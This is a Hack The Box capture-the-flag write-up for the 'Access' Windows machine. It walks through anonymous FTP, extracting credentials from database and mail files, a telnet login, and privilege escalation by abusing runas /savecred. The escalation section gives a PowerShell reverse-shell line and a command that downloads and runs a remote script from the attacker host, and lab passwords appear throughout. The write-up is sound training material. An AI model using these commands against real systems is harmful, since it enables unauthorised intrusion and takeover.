Hack The Box — Access

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1. Machine Information

- **Target IP:** 10.129.192.170
- **Machine Name:** Access
- **Difficulty:** Easy
- **Date:** March 2026
- **Attacker Machine:** Kali Linux

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2. Attack Path

Nmap → FTP anonymous access → Download database & zip → Extract credentials → Decrypt PST mail → Obtain password → Telnet login → Credential reuse → Stored credentials (cmdkey) → runas abuse → Administrator shell → Flags

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3. Tools Used

- nmap
- ftp
- mdb-tools
- 7z
- readpst
- telnet
- python3
- netcat
- runas

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4. Reconnaissance

Command

nmap -sC -sV -p- 10.129.192.170

Findings

- 21 → FTP (anonymous login enabled)
- 23 → Telnet
- 80 → HTTP (IIS 7.5)

Why It Matters

- FTP anonymous → high probability of sensitive files
- Telnet → potential remote shell if credentials found
- IIS → secondary attack surface

```
┌──(abhay㉿Kali)-[~/Desktop/Access]
└─$ sudo nmap --top-ports 1000 -sC -sV -sS -T4 -Pn -n -oX target1.xml 10.129.192.170
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-28 17:36 +0530
Nmap scan report for 10.129.192.170
Host is up (0.17s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 425 Cannot open data connection.
| ftp-syst:
|_  SYST: Windows_NT
23/tcp open  telnet  Microsoft Windows XP telnetd
| telnet-ntlm-info:
|   Target_Name: ACCESS
|   NetBIOS_Domain_Name: ACCESS
|   NetBIOS_Computer_Name: ACCESS
|   DNS_Domain_Name: ACCESS
|   DNS_Computer_Name: ACCESS
|_  Product_Version: 6.1.7600
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: MegaCorp
|_http-server-header: Microsoft-IIS/7.5
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_clock-skew: 2m23s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.80 seconds
```

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5. Enumeration

Step 1 — FTP Anonymous Access

Command:

ftp 10.129.192.170

Login:

anonymous

Result:

- Files found:

Backups/backup.mdb

Engineer/Access Control.zip

Why Important:

- Database + archive → likely contain credentials

Step 2 — Extract Database Credentials

Command:

mdb-tables backup.mdb

mdb-export backup.mdb auth_users

Result:

admin : admin

engineer : access4u@security

backup_admin : admin

Why Important:

- Valid credentials discovered
- Likely reused across services

Screenshot 2 — Database Credentials

```
┌──(abhay㉿Kali)-[~/Desktop/Access]
└─$ mdb-export backup.mdb auth_user
id,username,password,Status,last_login,RoleID,Remark
25,"admin","admin",1,"08/23/18 21:11:47",26,
27,"engineer","access4u@security",1,"08/23/18 21:13:36",26,
28,"backup_admin","admin",1,"08/23/18 21:14:02",26,
```

Step 3 — Extract ZIP File

Command:

7z x 'Access Control.zip'

Password used:

access4u@security

Result:

- Extracted:

Access Control.pst

Why Important:

- PST file → email archive → sensitive data

Step 4 — Extract Email Content

Command:

readpst "Access Control.pst"

cat 'Access Control.mbox'

Result:

Password changed to: 4Cc3ssC0ntr0ller

Why Important:

- New credential identified → likely valid for system access

Screenshot 3 — Email Credentials

```
——boundary-LibPST-iamunique-84530007_-_-
Content-Type: multipart/alternative;
        boundary="alt——boundary-LibPST-iamunique-84530007_-_-"

--alt——boundary-LibPST-iamunique-84530007_-_-
Content-Type: text/plain; charset="utf-8"

Hi there,



The password for the “security” account has been changed to 4Cc3ssC0ntr0ller.  Please ensure this is passed on to your engineers.



Regards,

John


--alt——boundary-LibPST-iamunique-84530007_-_-
Content-Type: text/html; charset="us-ascii"

<html xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:w="urn:schemas-microsoft-com:office:word" xmlns:m="http://schema
s.microsoft.com/office/2004/12/omml" xmlns="http://www.w3.org/TR/REC-html40"><head><meta http-equiv=Content-Type content="text/html; charset=us-ascii"><meta name=Gene
rator content="Microsoft Word 15 (filtered medium)"><style><!——
/* Font Definitions */
```

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6. Exploitation

Step 5 — Telnet Login

WHAT IT IS

- Remote shell access using credentials

WHY IT WORKS

- Credential reuse across services

HOW TO EXPLOIT

telnet 10.129.192.170

Login:

User: security

Pass: 4Cc3ssC0ntr0ller

RESULT

access\security

Screenshot 4 — Telnet Shell

```
┌──(abhay㉿Kali)-[~/Desktop/Access]
└─$ telnet 10.129.192.170
Trying 10.129.192.170 ...
Connected to 10.129.192.170.
Escape character is '^]'.
Welcome to Microsoft Telnet Service

login: engineer
password:
The handle is invalid.

Login Failed

login: security
password:

*===============================================================
Microsoft Telnet Server.
*===============================================================
whoamirs\security>d
access\security

C:\Users\security>
```

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7. Shell Access

- User obtained:

security

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8. Post-Exploitation

Step 6 — Stored Credentials Discovery

Command:

cmdkey /list

Result:

Target: ACCESS\Administrator

User: ACCESS\Administrator

Why Important:

- Stored credentials → can be reused with /savecred

Screenshot 5 — Stored Credentials

```
C:\>cmdkey /list

Currently stored credentials:

    Target: Domain:interactive=ACCESS\Administrator
                                                    Type: Domain Password
    User: ACCESS\Administrator
```

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9. Privilege Escalation

Vulnerability Found

- Stored administrator credentials accessible via runas /savecred

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WHY IT WORKS

- Windows stores credentials insecurely
- runas /savecred allows execution without password prompt

Exploit

Step 7 — Prepare Reverse Shell

Create payload:

$client = New-Object System.Net.Sockets.TCPClient('10.10.14.26',4444)

...

Start server:

python3 -m http.server 80

Step 8 — Start Listener

nc -lvnp 4444

Step 9 — Execute as Administrator

runas /user:ACCESS\Administrator /savecred "cmd /c powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.26/shell.ps1')"

RESULT

access\administrator

Screenshot 7 — Administrator Shell

```
┌──(abhay㉿Kali)-[~/Desktop/Access]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.26] from (UNKNOWN) [10.129.192.170] 49158
whoami
access\administrator
PS C:\Windows\system32>
```

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10. Flags

type C:\Users\security\Desktop\user.txt

type C:\Users\Administrator\Desktop\root.txt

Screenshot 8 — User Flag

```
PS C:\Windows\system32> type C:\Users\security\Desktop\user.txt
```

Screenshot 9 — Root Flag

```
PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
```

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11. Skills / Takeaways

- FTP enumeration → sensitive file discovery
- Extracting credentials from database files
- Email analysis (PST → credentials)
- Credential reuse across services
- Telnet exploitation
- Windows credential storage abuse (cmdkey)
- Privilege escalation via runas /savecred